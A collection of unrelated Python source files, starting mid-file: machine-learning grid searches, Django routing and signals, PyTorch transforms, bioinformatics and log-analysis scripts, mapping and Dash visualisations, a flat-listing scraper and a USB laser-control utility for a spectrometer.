		{'C': [0.1, 1, 3], 'kernel': ['poly'], 'degree':[4,5,6], 'gamma': [0.1,0.5]}
	]

	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_polynomial", clf, X_train, y_train, X_test, y_test)

	#################################
	# SVM with RBF Kernel
	#################################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100], 'gamma': [0.1, 0.5, 1, 3, 6, 10], 'kernel': ['rbf']}
	]
	clf = GridSearchCV(svm.SVC(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("svm_rbf", clf, X_train, y_train, X_test, y_test)

	########################
	# LOGISTIC REGRESSION
	########################
	param_grid = [
		{'C': [0.1, 0.5, 1, 5, 10, 50, 100]}
	]

	clf = GridSearchCV(LogisticRegression(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("logistic", clf, X_train, y_train, X_test, y_test)

	########################
	# k-Nearest Neighbors
	########################
	param_grid = [
		{'n_neighbors': np.arange(1,51,1), 'leaf_size': np.arange(5,65,5)}
	]
	clf = GridSearchCV(KNeighborsClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("knn", clf, X_train, y_train, X_test, y_test)

	########################
	# Decision Tree
	########################
	param_grid = [
		{'max_depth': np.arange(1,51,1), 'min_samples_split': np.arange(2,11,1)}
	]

	clf = GridSearchCV(tree.DecisionTreeClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("decision_tree", clf, X_train, y_train, X_test, y_test)

	########################
	# Random Forest
	########################
	param_grid = [
		{'max_depth': np.arange(1,51,1), 'min_samples_split': np.arange(2,11,1)}
	]

	clf = GridSearchCV(RandomForestClassifier(), param_grid, cv=5, scoring='accuracy')
	models.append(clf)
	# classify("random_forest", clf, X_train, y_train, X_test, y_test)

	########################
	# FIT!
	########################

	models = (clf.fit(X_train, y_train) for clf in models)

	# title for the plots
	titles = ('SVM with Linear Kernel',
	          'SVM with Polynomial Kernel',
	          'SVM with RBF Kernel',
	          'Logistic Regression',
	          'k-Nearest Neighbors',
	          'Decision Trees',
	          'Random Forest')

	# Set-up 2x2 grid for plotting.
	fig, sub = plt.subplots(2, 4)
	plt.subplots_adjust(wspace=0.4, hspace=0.4)

	X0, X1 = X_train[:, 0], X_train[:, 1]
	xx, yy = make_meshgrid(X0, X1)

	f = open(fout, 'w')
	for clf, title, ax in zip(models, titles, sub.flatten()):

		print(title)
		print(clf.best_params_)
		best_score = clf.best_score_
		y_true, y_pred = y_test, clf.predict(X_test)
		test_score = accuracy_score(y_true, y_pred)

		print("{},{},{}\n".format(title, best_score, test_score))
		f.write("{},{},{}\n".format(title, best_score, test_score))

		plot_contours(ax, clf, xx, yy, cmap=plt.cm.coolwarm, alpha=0.8)
		ax.scatter(X0, X1, c=y_train, cmap=plt.cm.coolwarm, s=20, edgecolors='k')
		ax.set_xlim(xx.min(), xx.max())
		ax.set_ylim(yy.min(), yy.max())
		ax.set_xlabel('x1')
		ax.set_ylabel('x2')
		ax.set_xticks(())
		ax.set_yticks(())
		ax.set_title(title)

	f.close()
	plt.show()


"""erteterter URL Configuration

The `urlpatterns` list routes URLs to views. For more information please see:
    https://docs.djangoproject.com/en/2.2/topics/http/urls/
Examples:
Function views
    1. Add an import:  from my_app import views
    2. Add a URL to urlpatterns:  path('', views.home, name='home')
Class-based views
    1. Add an import:  from other_app.views import Home
    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
Including another URLconf
    1. Import the include() function: from django.urls import include, path
    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.conf.urls import url
from segmentation_app import views
from django.conf.urls.static import static
from django.conf import settings

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^$', views.home, name='home'),
    url(r'^segmentation/', views.segmentation, name='segmentation'),
    url(r'^tracking/', views.tracking, name='tracking'),
    url(r'^mst/', views.mst, name='mst'),
    url(r'^mst_additional/', views.mst_additional, name='mst_additional'),
    url(r'^two_cc/', views.two_cc, name='two_cc'),
    url(r'^ngc/', views.ngc, name='ngc'),
    url(r'^interactive/', views.interactive, name='interactive'),
    url(r'^choose_alg/', views.choose_alg, name='choose_alg'),
    url(r'^algorithms_desc/', views.algorithms_desc, name='algorithms_desc'),
    url(r'^mst_desc/', views.mst_desc, name='mst_desc'),
    url(r'^gft_desc/', views.gft_desc, name='gft_desc'),
    url(r'^ngc_desc/', views.ngc_desc, name='ngc_desc'),
    url(r'^two_cc_desc/', views.two_cc_desc, name='two_cc_desc'),
    url(r'^interactive_desc/', views.interactive_desc, name='interactive_desc'),
    url(r'^save_mst/', views.save_mst, name='save_mst'),
    url(r'^save_ngc/', views.save_ngc, name='save_ngc'),
    url(r'^save_two_cc/', views.save_two_cc, name='save_two_cc'),
    url(r'^save_interactive/', views.save_interactive, name='save_interactive'),
    url(r'^save_video/', views.save_video, name='save_video'),
    url(r'^load_segmentation/', views.load_segmentation, name='load_segmentation'),
    url(r'^load_tracking/', views.load_tracking, name='load_tracking'),
    url(r'^choose_alg_tracking/', views.choose_alg_tracking, name='choose_alg_tracking'),
    url(r'^multi_tracking_desc/', views.multi_tracking_desc, name='multi_tracking_desc'),
    # url(r'^two_cc_track/', views.two_cc_track, name='two_cc_track'),
    # url(r'^mst_track/', views.mst_track, name='mst_track'),
    # url(r'^ngc_track/', views.ngc_track, name='ngc_track'),
    # url(r'^simple_tr_track/', views.simple_tr_track, name='simple_tr_track'),
]

urlpatterns+=static(settings.STATIC_URL,document_root=settings.STATIC_ROOT)
urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)


import numpy as np
import torch

class ToTensor:
    """Convert ndarrays in sample to Tensors."""

    def __call__(self, sample):
        flow, rgb, y = sample['flow'], sample['rgb'], sample['y']
        # swap axis because
        # numpy image: N x H x W x C
        # torch image: N x C X H X W
        return {'flow': torch.from_numpy(np.asarray(flow).transpose((0, 3, 1, 2))),
                'rgb': torch.from_numpy(np.asarray(rgb).transpose((0, 3, 1, 2))),
                'y': torch.from_numpy(np.asarray(y))}

class RandomHorizontalFlip:
    """Randomly flips np arrays horizontaly"""

    def __init__(self, p=0.5):
        self.p = p

    def __call__(self, sample):
        flow, rgb, y = sample['flow'], sample['rgb'], sample['y']
        # torch images: N x C x H x W
        if np.random.rand() < self.p:
            flow = torch.flip(flow, dims=(-1,))
            rgb = torch.flip(rgb, dims=(-1,))

        return {'flow': flow, 'rgb': rgb, 'y': y}


#!/usr/bin/python

import os
import sys
import csv
import argparse

__author__ = "Sung-Huan Yu <sung-huan.yu@uni-wuerzburg.de>"
__email__ = "sung-huan.yu@uni-wuerzburg.de"

parser = argparse.ArgumentParser()
parser.add_argument("-c","--class_file",help="input file")
parser.add_argument("-g","--group_file",help="output file")
parser.add_argument("-o","--go_file",help="output file")
parser.add_argument("-s","--srna_file",help="output file")
args = parser.parse_args()

def main():
    print("\t".join(["group_id", "GO_term(dots for level)", "GO_type", "GO_class_name",
                     "p-value", "total_number(GO_mapped)", "counts_this_GO", "protein_products"]))
    gos = []
    oh = open(args.go_file, "r")
    for row in csv.reader(oh, delimiter='\t'):
        gos.append({"protein": row[0], "product": row[1], "go": row[2]})
    gh = open(args.group_file, "r")
    line = 0
    start = False
    group = "group_" + args.group_file.split("_")[-1]
    for row in csv.reader(gh, delimiter='\t'):
        line += 1
        if line == 4:
            total = row[0].strip().split(" ")[0]
        if row[0] == "GO":
            start = True
        else:
            if start:
                term = row[0].split(".")[-1]
                finals = []
                poss = []
                for go in gos:
                    if term in go["go"]:
                        detect = False
                        ch = open(args.class_file, "r")
                        for cl in csv.reader(ch, delimiter='\t'):
                            if (len(cl) == 1) and (cl[0] == group.split("_")[-1]):
                                detect = True
                            elif (len(cl) == 1) and (cl[0] != group.split("_")[-1]):
                                detect = False
                            if (len(cl) != 1) and (detect):
                                datas = cl[8].split(";")
                                for data in datas:
                                    if ("product" in data) and (data.split("=")[-1] == go["product"]):
                                        poss.append(cl[3] + "-" + cl[4] + "_" + cl[6])
                        finals.append(go["product"])
                        ch.close()
                if (row[2] == "e") and (len(poss) != 0):
                    print("\t".join([group, row[0], row[1], row[3], row[6],
                                     total, str(len(finals)), ", ".join(finals), ", ".join(poss)]))
    if start:
        ch = open(args.class_file, "r")
        detect = False
        stats = {}
        srna_total = 0
        for row in csv.reader(ch, delimiter='\t'):
            if len(row) == 1:
                if args.group_file.split("_")[-1] == row[0]:
                    detect = True
                else:
                    detect = False
            else:
                if detect:
                    if row[2] == "sRNA":
                        srna_total += 1
                        sh = open(args.srna_file, "r")
                        for r in csv.reader(sh, delimiter='\t'):
                            if (r[3] == row[3]) and (
                                r[4] == row[4]) and (
                                r[5] == row[6]):
                                srnas = r[-4].split(";")
                                if srnas[0] == "NA":
                                    name = "novel_sRNA"
                                else:
                                    name = r[2]
#                                    for srna in srnas:
#                                        name = srna.split("|")[-2]
                                break
                        if name not in stats.keys():
                            stats[name] = {"member": [r[3] + "-" + r[4] + "_" + r[5]], "num": 1}
                        else:
                            stats[name]["member"].append(r[3] + "-" + r[4] + "_" + r[5])
                            stats[name]["num"] += 1
        for name, datas in stats.items():
            print("\t".join([group, name, "NA", "sRNA", "NA",
                             str(srna_total), str(datas["num"]), ", ".join(datas["member"]), ", ".join(datas["member"])]))

if __name__ == "__main__":
    main()


from django.db.models.signals import post_save, post_delete
from .models import *
from django.dispatch import receiver
from PIL import Image
import os
from django.template.defaultfilters import slugify
from django.contrib.contenttypes.models import ContentType

def image_product(sender,instance,**kwargs):
    try:
        imagen = Image.open(instance.image.path)
        imagen.thumbnail((800,800))
        if imagen.format == 'PNG':
            bg = Image.new("RGB", (800,800), (255,255,255))
            bg.paste(imagen,imagen)
            bg.save(instance.image.path)
        else:
            imagen.save(instance.image.path)
    except Exception as e:
        pass

def del_image(sender,instance,**kwargs):
    os.remove(instance.image.path)

post_save.connect(image_product,sender=ProductImage)
post_delete.connect(del_image,sender=ProductImage)

def image_category(sender,instance,**kwargs):
    try:
        imagen = Image.open(instance.image.path)
        imagen.thumbnail((800,400))
        if imagen.format == 'PNG':
            bg = Image.new("RGB", (800,400), (255,255,255))
            bg.paste(imagen,imagen)
            bg.save(instance.image.path)
        else:
            imagen.save(instance.image.path)
    except Exception as e:
        pass

def del_category(sender,instance,**kwargs):
    os.remove(instance.image.path)

post_save.connect(image_category,sender=ProductCategory)
post_delete.connect(del_category,sender=ProductCategory)

def remove_index(sender,instance, **kwargs):
    from apps.search.models import Index
    ctype = ContentType.objects.get_for_model(instance)
    Index.objects.get(object_id=instance.id, content_type=ctype).delete()
post_delete.connect(remove_index,sender=Product)

def index_model(sender,instance,**kwargs):
    from apps.search.models import Index
    text =slugify(("%s-%s-%s")%(instance.name, instance.summary, instance.category.name))
    Index.objects.create(instance=instance, text=text)
post_save.connect(index_model,sender=Product)


"""
Module Functions:
    Plot King County House Rate data,
    in the form of sale listing cluster map and density heat map.
"""

import os
import webbrowser

import pandas as pd
import folium
from folium import plugins

# Set global settings and macros.
MAX_SHOW = 1000
HOUSE_URL = 'houses.html'
HOUSE_HEAT_URL = "househeatmap.html"
CRIME_HEAT_URL = "crimeheatmap.html"
pd.set_option('display.max_columns', None) # To display all columns

# Read in king county house data.
data = pd.read_csv("../../Data/kc_house_data.csv", parse_dates=['date'])
data['zipcode'] = data['zipcode'].astype(str)

## Create one map showing each listing of in house dataset and show in browser.

# Use folium Map function to plot underlying basic map.
house_map = folium.Map(location=[data['lat'].mean(), data['long'].mean()], zoom_start=10)
# Define clusters to show house clusters to add to the underlying houses_map.
marker_cluster = folium.MarkerCluster().add_to(house_map)
# Iteratively add interactive clusters to the basic map.
#	When mouse-over the cluster, show house listing information:
#	sqft, price.
for iters, row in data[0:MAX_SHOW].iterrows():
    folium.Marker([row["lat"], row["long"]],
                  popup="{0} sqft:  Sold for $ {1}"\
                  .format(row["sqft_living"], row["price"])).add_to(marker_cluster)

# Save the house cluster map to a html and open it in broswer.
house_map.save(HOUSE_URL)
webbrowser.open('file://' + os.path.realpath(HOUSE_URL), new=2)

## Create one map showing the frequency of house sales and show in browser.

# Use folium Map function to plot underlying basic map
houses_heatmap = folium.Map(location=[data['lat'].mean(), data['long'].mean()], zoom_start=10)
# Add heatmap on top of the basic map.
houses_heatmap.add_children(
    plugins.HeatMap([[row["lat"], row["long"], row["price"]]
                     for iters, row in data.iterrows()],
                    min_opacity=0.5, max_zoom=18, radius=8)) #[0:MAX_SHOW]

# Save the house sale frequency heat map to a html and open it in broswer.
houses_heatmap.save(HOUSE_HEAT_URL)
webbrowser.open('file://' + os.path.realpath(HOUSE_HEAT_URL), new=2)


# -*- coding: utf-8 -*-
# Time : 2020/1/3 0003  8:59
# Author : dengfan
import json, os, cv2
import numpy as np
import copy

from PIL import Image, ImageDraw, ImageFont

'''
 index = ["PGBX", "PGDD", "PMZC", "PGHB", "PGPS", "PMYC", "PGDX", "BTQZ", "BTQP", "BTWX" ]
'''

classes = {
    0: '背景',
	1: 'PGPS',#'瓶盖破损',
	2: 'PGBX',#'瓶盖变形',
	3: 'PGHB',#'瓶盖坏边',
	4: 'PGDX',#'瓶盖打旋',
	5: 'PGDD',#'瓶盖断点',
	6: 'BTWX',#'标贴歪斜',
	7: 'BTQZ',#'标贴起皱',
	8: 'BTQP',#'标贴气泡',
	9: 'PMZC',#'喷码正常',
	10: 'PMYC'#'喷码异常'}
}

def read_json(files_path):
    with open(files_path, encoding='utf-8') as f:
        dic = json.load(f)
        # dic = json.loads(setting)
    return dic

def get_dic(data):
    data = read_json(path)
    for i in data:
        print(i)

    images = data['images']
    data_images = {}
    for dic in images:
        file_name = dic['file_name']
        id = dic['id']
        if id in data_images:
            print(id)
            print(file_name)
            raise Exception('文件{} 已经存在，出现重复编码！！！'.format(file_name))
        data_images[id] = file_name

    annotations = data['annotations']
    out = {}
    for ann in annotations:
        name = data_images[ann['image_id']]
        bbox = ann['bbox']
        category = ann['category_id']
        score = ann['score']
        if name not in out:
            out[name] = [[bbox[0], bbox[1], bbox[2], bbox[3], category, score], ]
        else:
            out[name].append([bbox[0], bbox[1], bbox[2], bbox[3], category, score])
    return out

if __name__ == "__main__":
    path = r'../process_after/result.json'
    img_path = r'E:\study_code\TC_CQ\data\test\images'
    save_path = r'./show_imgs2'

    data = get_dic(read_json(path))

    num = 0
    for name in data:
        num += 1
        # if num > 10:
        #     break
        name_path = os.path.join(img_path, name)
        print(name_path)
        bboxes = data[name]
        img = cv2.imread(name_path)
        for bbox in bboxes:
            if bbox[5] < 0.15:
                continue
            img = cv2.rectangle(img, (int(bbox[0]), int(bbox[1])),(int(bbox[0]+bbox[2]), int(bbox[1]+bbox[3])),
                                (0, 0, 255), thickness=1)

            img = cv2.putText(img, classes[bbox[4]]+'-'+ str(bbox[5])[:6], (int(bbox[0]), int(bbox[1]) -5),
                              cv2.FONT_HERSHEY_COMPLEX, 0.5, (0, 255, 0), 1)
        save_name = os.path.join(save_path, name)
        cv2.imwrite(save_name, img)


from __future__ import division
import re
import os

from collections import defaultdict
from heapq import nlargest

def ScanFiles(path): #fun
	for dirs,subdir,files in os.walk(path):
		for fn in files:
			if fn.find("Packet.") >= 0:
				yield fn

def PrintToppestInfo(dict, topIndex, OutPutFile, printName):
	Toppest_List = nlargest(topIndex, dict.items(),key=lambda x: x[1]);
	print("Toppest_"+ printName +": ")
	OutPutFile.write("Toppest_"+printName+": \n");
	OutPutFile.write("rank packetId "+printName+" PacketName \n");
	index = 1;
	for item in Toppest_List:
			print(index, item[0],item[1])
			OutPutFile.write(str(index)+" "+str(item[0])+" "+str(item[1])+" "+ pakcetNameDict[item[0]] + "\n");
			index += 1;
	OutPutFile.write("\n");
	return;

receivecountDict = defaultdict(int);
receivesizeDict = defaultdict(int);
sendcountDict = defaultdict(int);
sendsizeDict = defaultdict(int);
pakcetNameDict = defaultdict(str);
packetSizeDict = defaultdict(int);

if not os.path.isdir("Result"):
	os.makedirs("Result");
OutPutFile = open("Result\PacketLogAnalyseResult.txt", "w");

TopIndex = 10;
print(os.getcwd())
with open(os.getcwd()+"\Config\Config.txt") as configFile:
	for configline in configFile:
			TopIndex = (int)(configline);
			print(TopIndex);

os.chdir("Log");
allFiles = list(ScanFiles(os.getcwd()))
for lfile in allFiles:
	with open(lfile) as logfile:
		for line in logfile:
			dotPos = line.find(",",0);
			if dotPos > 0 and line[0:dotPos].isdigit():
				packetId, szreceivecount, szreceivesize, szsendcount, szsendsize, PacketName, noUse = line.split(",",6);
				receivecount = (int)(szreceivecount);
				receivesize = (int)(szreceivesize);
				sendcount = (int)(szsendcount);
				sendsize = (int)(szsendsize);
				receivecountDict[packetId] += receivecount;
				receivesizeDict[packetId] += receivesize;
				sendcountDict[packetId] += sendcount;
				sendsizeDict[packetId] += sendsize;
				pakcetNameDict[packetId] = PacketName;
				if receivecount > 0 and receivesize >0:
					packetSizeDict[packetId] = receivesize/receivecount;
				elif sendcount >0 and sendsize >0:
					packetSizeDict[packetId] = sendsize/sendcount;

OutPutFile.write("Toppest "+str(TopIndex)+" OutPut: \n");

PrintToppestInfo(receivecountDict,TopIndex, OutPutFile, "receivecount");

PrintToppestInfo(receivesizeDict,TopIndex, OutPutFile, "receivesize");

PrintToppestInfo(sendcountDict,TopIndex, OutPutFile, "sendcount");

PrintToppestInfo(sendsizeDict,TopIndex, OutPutFile, "sendsize");

PrintToppestInfo(packetSizeDict,TopIndex, OutPutFile, "packetsize");

OutPutFile.close();


""" Search flat results on wg-gesucht.de """
from __future__ import unicode_literals, absolute_import, generators, print_function

from lxml import html
from urllib import urlencode
import requests
import time
import random
import locale

locale.setlocale(locale.LC_TIME, str('de_DE.UTF-8'))

class WgGesucht(object):
    """ WG-Gesucht Screen Scraper. """
    def __init__(self):
        """ Initialize with base url """
        self.base_url = 'http://www.wg-gesucht.de/wohnungen-in-Berlin.8.2.0.{}.html?'

    def search(self, category, rent_type, minSize, maxPrice, minRooms, maxRooms, exc, balcony, pets, furnished):
        """ Search using a get request including flat details.
        :param category: type of flat
        :param rent_type: type of contract
        :param minSize: minimum size in square meters
        :param maxPrice: max rent price
        :param minRooms: minimum number of rooms
        :param maxRooms: max number of rooms
        :param exc: exchange flat y/n (optional)
        :param balcony: balcony y/n (optional)
        :param pets: pets allowed (optional)
        :param furnished: furnished y/n (optional)
        """
        params = {'offer_filter': 1, 'city_id': 8,
                  'category': category, 'rent_type': rent_type,
                  'sMin': minSize, 'rMax': maxPrice,
                  'rmMin': minRooms, 'rmMax': maxRooms,
                  'exc': exc, 'bal': balcony,
                 'pet': pets, 'fur': furnished}

        session = requests.Session()
        response = session.get('{}{}'.format(self.base_url.format('0'), urlencode(params)))
        print(response.url)
        results = self.parse_response(response)[0]

        max_page = self.has_more_pages(response)
        if max_page:
            stop = False
            for i in range(1, max_page):
                time.sleep(random.randint(1, 3))
                if stop:
                    break
                r = session.get(self.base_url.format(i))
                print(r.url)
                next_pages, stop = self.parse_response(r)
                results.extend(next_pages)
        return results

    def has_more_pages(self, response):
        page = html.fromstring(response.content)
        try:
            max_page = int(page.xpath('//a[@class="a-pagination"][last()]')[-1].text.replace('\n', '').strip())
        except Exception as IndexError:
            print('Only one page results')
            max_page = False
        return max_page

    def grab_xpath_text(self, element, xpath):
        """ Given an element and xpath pattern, return text content.
        :param element: lxml element
        :param xpath: string
        returns string
        """
        data = element.xpath(xpath)
        if len(data) == 1:
            return data[0].text
        elif len(data) > 1:
            return [x.text for x in data]
        return ''

    def parse_response(self, response):
        """ Given a requests response object, return a list of dictionaries
        containing the pertinent flat info.
        :params response: response obj
        returns list of dictionaries
        """
        stop = False
        page = html.fromstring(response.content)
        results = page.xpath('//table/tbody/tr')
        active_inactive = [self.grab_xpath_text
                           (res, 'td[contains(@class, "datum")]/a/span').replace('\n', '').strip() not in 'inaktiv' for res in results]
        final_results = []
        for is_active, res in zip(active_inactive[2:], results[2:]):
            if not is_active:
                stop = True
                break
            item_dict = {}
            item_dict['rooms'] = self.grab_xpath_text(
                res, 'td[contains(@class, "zimmer")]/a/span').replace('\n', '').strip()
            if not item_dict['rooms']:
                item_dict['rooms'] = '1'
            item_dict['Free from'] = self.grab_xpath_text(
                res, 'td[contains(@class, "freiab")]/a/span').replace('\n', '').strip()
            item_dict['Free until'] = self.grab_xpath_text(
                res, 'td[contains(@class, "freibis")]/a/span').replace('\n', '').strip()
            item_dict['Rent price'] = self.grab_xpath_text(
                res, 'td[contains(@class, "miete")]/a/span/b').replace('\n', '').strip()
            item_dict['Size'] = self.grab_xpath_text(
                res, 'td[contains(@class, "groesse")]/a/span').replace('\n', '').strip()
            item_dict['District'] = self.grab_xpath_text(
                res, 'td[contains(@class, "stadt")]/a/span').replace('\n', '').strip()
            item_dict['Link'] = 'http://www.wg-gesucht.de/'+res.get('adid')
            final_results.append(item_dict)
        return final_results, stop


import dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output, State
from dash.exceptions import PreventUpdate
import pandas as pd
import pybaseball as pb
import plotly.express as px

external_stylesheets = ['https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css']

app = dash.Dash(__name__, external_stylesheets=external_stylesheets)
server = app.server

app.layout = html.Div(children=[
  dcc.Markdown(children="## Plotly Express Data Sets"),
  html.Br(),
  html.Br(),
  dcc.Markdown(children="### Plotly Express comes with several data sets built-in."),
  dcc.Dropdown(
    id="dropdown",
    options=[
    {'label': 'gapminder', 'value': 'gapminder'},
    {'label': 'tips', 'value': 'tips'},
    {'label': 'iris', 'value': 'iris'},
    {'label': 'wind', 'value': 'wind'},
    {'label': 'election', 'value': 'election'},
    {'label': 'carshare', 'value': 'carshare'}],
    value='gapminder'),
  dcc.Markdown(id='blurb'),
  dcc.Graph(id='graph'),
])

@app.callback(
    [Output(component_id='blurb', component_property='children'),
            Output(component_id='graph', component_property='figure')],
    [Input('dropdown', 'value')])
def update_output_graph(value):
    if value == "gapminder":
        blurb = """ Each row represents a country on a given year.
            https://www.gapminder.org/data/
            Returns:
                A `pandas.DataFrame` with 1704 rows and the following columns: `['country', 'continent', 'year', 'lifeExp', 'pop', 'gdpPercap',
            'iso_alpha', 'iso_num']`.
        """
        df = px.data.gapminder()
        fig = px.scatter(df, x="gdpPercap", y="lifeExp",             animation_frame="year", animation_group="country",
           size="pop", color="continent", hover_name="country", facet_col="continent",
           log_x=True, size_max=45, range_x=[100,100000], range_y=[25,90])
        fig.update_layout(title="gdp per cap vs life expectancy over time")

    if value == "iris":
        blurb = """
            Each row represents a flower.
            https://en.wikipedia.org/wiki/Iris_flower_data_set
            Returns:
                A `pandas.DataFrame` with 150 rows and the following columns: `['sepal_length', 'sepal_width', 'petal_length', 'petal_width', 'species',
            'species_id']`.
        """
        df = px.data.iris()
        fig = px.density_contour(df, x="sepal_width", y="sepal_length", color="species", marginal_x="rug", marginal_y="histogram")

    if value == "tips":
        blurb =  """
            Each row represents a restaurant bill.
            https://vincentarelbundock.github.io/Rdatasets/doc/reshape2/tips.html
            Returns:
                A `pandas.DataFrame` with 244 rows and the following columns: `['total_bill', 'tip', 'sex', 'smoker', 'day', 'time', 'size']`.
        """
        df = px.data.tips()
        fig = px.bar(df, x="sex", y="total_bill", color="smoker", barmode="group", facet_row="time", facet_col="day",
            category_orders={"day": ["Thur", "Fri", "Sat", "Sun"], "time": ["Lunch", "Dinner"]})
        fig.update_layout(title="tips by gender, day of week, and mealtime")

    if value == "election":
        blurb = """
            Each row represents voting results for an electoral district in the 2013 Montreal mayoral election.
            Returns:
                A `pandas.DataFrame` with 58 rows and the following columns: `['district', 'Coderre', 'Bergeron', 'Joly', 'total', 'winner', 'result']`.
        """
        df = px.data.election()
        fig = px.scatter_ternary(df, a="Joly", b="Coderre", c="Bergeron", color="winner", size="total", hover_name="district", size_max=15, color_discrete_map = {"Joly": "blue", "Bergeron": "green", "Coderre":"red"} )

    if value == "wind":
        blurb =  """
            Each row represents a level of wind intensity in a cardinal direction, and its frequency.
            Returns:
                A `pandas.DataFrame` with 128 rows and the following columns: `['direction', 'strength', 'frequency']`.
        """
        df = px.data.wind()
        fig = px.scatter_polar(df, r="frequency", theta="direction", color="strength", symbol="strength",
                    color_discrete_sequence=px.colors.sequential.Plasma_r)

    if value == "carshare":
        blurb = """
            Each row represents the availability of car-sharing services near the centroid of a zone in Montreal.
            Returns:
                A `pandas.DataFrame` with 249 rows and the following columns: `['centroid_lat', 'centroid_lon', 'car_hours', 'peak_hour']`.
        """
        df = px.data.carshare()
        fig = px.scatter_mapbox(df, lat="centroid_lat", lon="centroid_lon", color="peak_hour", size="car_hours",
        color_continuous_scale=px.colors.cyclical.IceFire, size_max=15, zoom=10, mapbox_style="open-street-map")

    fig.update_yaxes(automargin=True)

    return blurb, fig

if __name__ == '__main__':
    app.run_server(debug=True)


#!/usr/bin/env python

import sys
import re
from time import sleep
from datetime import datetime

import traceback
import usb.core
import argparse
import struct
import sys

HOST_TO_DEVICE = 0x40
DEVICE_TO_HOST = 0xC0
TIMEOUT_MS = 1000

MAX_PAGES = 8
PAGE_SIZE = 64
EEPROM_FORMAT = 8

# An extensible, stateful "Test Fixture"
class Fixture(object):
    def __init__(self):
        self.eeprom_pages = None
        self.subformat = None
        self.dev = None

        parser = argparse.ArgumentParser(
            description="Command-line utility to play with lasers (INHERENTLY DANGEROUS!)",
            epilog="To manually turn the laser off after an arbitrary delay, use --max-ms 0. " +
                   "To exit the script with laser still firing (HIGHLY DANGEROUS), use --max-ms -1."
        )
        parser.add_argument("--pid",                    default="4000",      help="USB PID in hex (default 4000)", choices=["1000", "2000", "4000"])
        parser.add_argument("--debug",                  action="store_true", help="debug output")
        parser.add_argument("--enable",                 action="store_true", help="fire laser")
        parser.add_argument("--max-ms",                 type=int,            help="firing time (ms) (default 1000)", default=1000)
        parser.add_argument("--mod-enable",             action="store_true", help="enable modulation")
        parser.add_argument("--mod-period-us",          type=int,            help="laser modulation pulse period (us) (default 1000)", default=1000)
        parser.add_argument("--mod-width-us",           type=int,            help="laser modulation pulse width (us) (default 100)", default=100)

        self.args = parser.parse_args()

        # convert PID from hex string
        self.pid = int(self.args.pid, 16)

        # find the FIRST connected spectrometer of the given PID
        self.dev = usb.core.find(idVendor=0x24aa, idProduct=self.pid)
        if not self.dev:
            print("No spectrometers found with PID 0x%04x" % self.pid)

    def run(self):

        # handle disable operation first
        if not self.args.enable:
            self.set_enable(False)
            return

        # apparently we're to fire the laser

        if self.args.mod_enable:
            self.set_modulation_params()
        else:
            self.set_modulation_enable(False)

        self.set_enable(True)

        if self.args.max_ms > 0:
            self.sleep_ms(self.args.max_ms)
        elif self.args.max_ms == 0:
            cont = input("\nPress <enter> to disable laser...")
        elif self.args.max_ms == -1:
            print("DANGER -- Exiting with laser still firing!!!")
            sys.exit(1)

        self.set_enable(False)

    def sleep_ms(self, ms):
        print(f"sleeping {ms} ms...")
        if ms > 1000 and self.pid == 0x4000:
            # monitor battery while sleeping
            start = datetime.now()
            while (datetime.now() - start).total_seconds() * 1000.0 < ms:
                print("Battery: " + self.get_battery_level())
                sleep(1)
        else:
            sleep(ms/1000.0)

    ############################################################################
    # opcodes
    ############################################################################

    def get_battery_level(self):
        raw = self.get_cmd(0xff, 0x13, 3)
        percentage = raw[1] + (1.0 * raw[0] / 256.0)
        charging = raw[2] != 0
        return f"%s (%.2f%%) (%s)" % (raw, percentage, "charging" if charging else "not charging")

    def set_enable(self, flag):
        print("setting LASER_ENABLE %s" % ("on" if flag else "off"))
        self.send_cmd(0xbe, 1 if flag else 0)

    def set_modulation_enable(self, flag):
        print("setting LASER_MOD_ENABLE %s" % ("on" if flag else "off"))
        self.send_cmd(0xbd, 1 if flag else 0)

    def set_modulation_params(self):
        if self.args.mod_period_us > 0xffff or \
           self.args.mod_width_us > 0xffff:
            print("error: lame script doesn't support full 40-bit 5-byte args")
            return

        # should we modulate after all?
        if self.args.mod_period_us <= self.args.mod_width_us:
            print("disabling modulation because period %d <= width %d" % (self.args.mod_period_us, self.args.mod_width_us))
            self.set_modulation_enable(False)
            return

        print("setting LASER_MOD_PULSE_PERIOD %d" % self.args.mod_period_us)
        self.send_cmd(0xc7, self.args.mod_period_us, buf=[0]*8)

        print("setting LASER_MOD_PULSE_WIDTH %d" % self.args.mod_width_us)
        self.send_cmd(0xdb, self.args.mod_width_us, buf=[0]*8)

        self.set_modulation_enable(True)

    ############################################################################
    # Utility Methods
    ############################################################################

    def is_arm(self):
        return self.pid == 0x4000

    def is_sig(self):
        return self.is_arm() # close enough

    def str2bool(self, s):
        return s.lower() in ("true", "yes", "on", "enable", "1")

    def debug(self, msg):
        if self.args.debug:
            print("DEBUG: %s" % msg)

    def send_cmd(self, cmd, value, index=0, buf=None):
        if buf is None:
            if self.is_arm():
                buf = [0] * 8
            else:
                buf = 0
        self.debug("ctrl_transfer(0x%02x, 0x%02x, 0x%04x, 0x%04x) >> %s" % (HOST_TO_DEVICE, cmd, value, index, buf))
        self.dev.ctrl_transfer(HOST_TO_DEVICE, cmd, value, index, buf, TIMEOUT_MS)

    def get_cmd(self, cmd, value=0, index=0, length=64):
        return self.dev.ctrl_transfer(DEVICE_TO_HOST, cmd, value, index, length, TIMEOUT_MS)

fixture = Fixture()
if fixture.dev:
    fixture.run()


## Analyzing stroke prediction data set. Different visualization methods used to get insights
## to the dataset and logisticregression model used to predict strokes on patients
## Author : Mehrnaz Sadroleslami
## Date : Aug 4th, 2023
## DataSet : https://www.kaggle.com/datasets/fedesoriano/stroke-prediction-dataset

import pandas as pd
import matplotlib.pyplot as pyplt
from scipy import stats
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
